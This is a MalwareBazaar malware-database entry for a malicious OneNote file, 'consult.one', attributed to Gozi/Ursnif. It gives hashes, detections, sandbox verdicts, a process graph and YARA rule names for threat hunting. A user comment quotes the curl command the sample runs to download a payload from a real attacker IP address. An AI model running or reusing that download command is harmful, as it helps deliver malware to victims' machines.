MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 1f23a8be2e3cf81e2ab11b38df69ef7666e7925621854c062678e0aef5a8a5c2. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


Gozi


Vendor detections: 8


Intelligence 8 IOCs YARA 2 File information Comments 1
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: 1f23a8be2e3cf81e2ab11b38df69ef7666e7925621854c062678e0aef5a8a5c2
SHA3-384 hash: 5d4c9f6c030f70e48e8891a11cd465f60fb09d6c76bf033593e8b143d7107967c6a7fbf0b9deac0832fa1d2a614a49bb
SHA1 hash: c8eb2fa1e512d59dc0d8d2c4f857a37e45ddb988
MD5 hash: 3c9dd604080dda485452751854ca892d
humanhash: thirteen-nebraska-papa-colorado
File name:consult.one
Download: download sample
Signature Gozi
Create hunting rule
File size:259'992 bytes
First seen:2023-03-24 03:13:57 UTC
Last seen:2023-03-31 14:53:52 UTC
File type:Microsoft OneNote (one) one
MIME type:application/octet-stream
ssdeep 6144:7kIk+ai6laI6gfUOqa1fmioLyVmWsdYkB:QaI6aF1fmYEv
TLSH T19644F1938444689BE5F3977D8DD10F24B71BC8C09326CA2D7DA1A0AA1D1F7B3D817A4E
Reporter ankit_anubhav
Tags:BR-2963 Gozi one Ursnif

Intelligence

File Origin
# of uploads :
2
# of downloads :
719
Origin country :
TH TH
Vendor Threat Intelligence
Detection(s):
Sanesecurity.Malware.28788.Heur.BadOne.cmd.UNOFFICIAL
Create hunting rule

TwinWave.EvilDoc.OneNotePkillExeExtDetonationRulingTheNation.20230125.UNOFFICIAL
Create hunting rule

TwinWave.EvilDoc.OneNote.IRememberDamage.20230321.UNOFFICIAL
Create hunting rule

Result
Verdict:
Malicious
File Type:
OneNote File - Malicious
Link:
https://app.docguard.net/1f23a8be2e3cf81e2ab11b38df69ef7666e7925621854c062678e0aef5a8a5c2/results/dashboard
Behaviour
SuspiciousEmbeddedObjects detected
Verdict:
Malicious
Threat level:
  10/10
Confidence:
100%
Link:
https://www.filescan.io/uploads/641d157b80ca4ca1ff58c680/reports/b9d1d7d0-e0f6-427e-90eb-08a8c6450c71/overview
Verdict:
Malicious
Labled as:
ZNeNote.A.Generic
Link:
https://www.hybrid-analysis.com/sample/1f23a8be2e3cf81e2ab11b38df69ef7666e7925621854c062678e0aef5a8a5c2
Result
Verdict:
MALICIOUS
Result
Threat name:
Unknown
Detection:
malicious
Classification:
troj.expl
Score:
60 / 100
Link:
https://www.joesandbox.com/analysis/1200961
Signature
Document exploit detected (process start blacklist hit)
Multi AV Scanner detection for submitted file
Yara detected Malicious OneNote
Behaviour
Behavior Graph:
Download SVG
behaviorgraph top1 signatures2 2 Behavior Graph ID: 833866 Sample: consult.one Startdate: 24/03/2023 Architecture: WINDOWS Score: 60 36 Multi AV Scanner detection for submitted file 2->36 38 Yara detected Malicious OneNote 2->38 40 Document exploit detected (process start blacklist hit) 2->40 8 ONENOTE.EXE 52 501 2->8         started        process3 file4 28 C:\Users\user\Desktop\consult.one, data 8->28 dropped 30 C:\...\~consult.one.onebackupconstruction, data 8->30 dropped 32 C:\...\consult.one (On 3-24-2023).one (copy), data 8->32 dropped 11 cmd.exe 1 8->11         started        13 ONENOTEM.EXE 1 8->13         started        process5 process6 15 cmd.exe 1 11->15         started        17 conhost.exe 11->17         started        process7 19 curl.exe 1 15->19         started        22 mshta.exe 18 15->22         started        24 conhost.exe 15->24         started        26 rundll32.exe 15->26         started        dnsIp8 34 91.228.10.134, 49698, 80 ASN-MGTS-USPDRU Russian Federation 19->34
Detection:
n/a
Link:
https://mwdb.cert.pl/sample/1f23a8be2e3cf81e2ab11b38df69ef7666e7925621854c062678e0aef5a8a5c2/
Threat name:
Win32.Downloader.One
Create hunting rule
Status:
Malicious
First seen:
2023-03-24 03:14:07 UTC
File Type:
Document
AV detection:
9 of 37 (24.32%)
Threat level:
  3/5
Detection(s):
Suspicious file
Link:
https://check.spamhaus.org/check/?searchterm=d4r2rproht4b4kvrdm4n62ppoztopeswegcuybrgpdqk55niuxba._file
Result
Malware family:
n/a
Score:
  4/10
Tags:
n/a
Link:
https://tria.ge/reports/230324-drbffsdh7s/
Behaviour
Checks processor information in registry
Enumerates system info in registry
Modifies Internet Explorer settings
Modifies registry class
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Drops file in Program Files directory
Drops file in Windows directory
Please note that we are no longer able to provide a coverage score for Virus Total.

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:OneNote_magic
Create hunting rule
Author:Stuart Gonzalez
Rule name:SUSP_OneNote
Create hunting rule
Author:spatronn
Description:Hard-Detect One

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Comments


Avatar
commented on 2023-03-24 06:03:54 UTC

Executes the following CURL command:

curl -s --ssl-no-revoke --fail http://91.228.10.134/surface/VAczyy_Q4sGqeNQHSSleSbOk9ZHll1HYMg~~/gORmJLGeoAnlL4Dmou6lfkgG5MQK8Dl-DA~~/ --output iauz.wco

Sadly, the payload was already unavailable when I checked.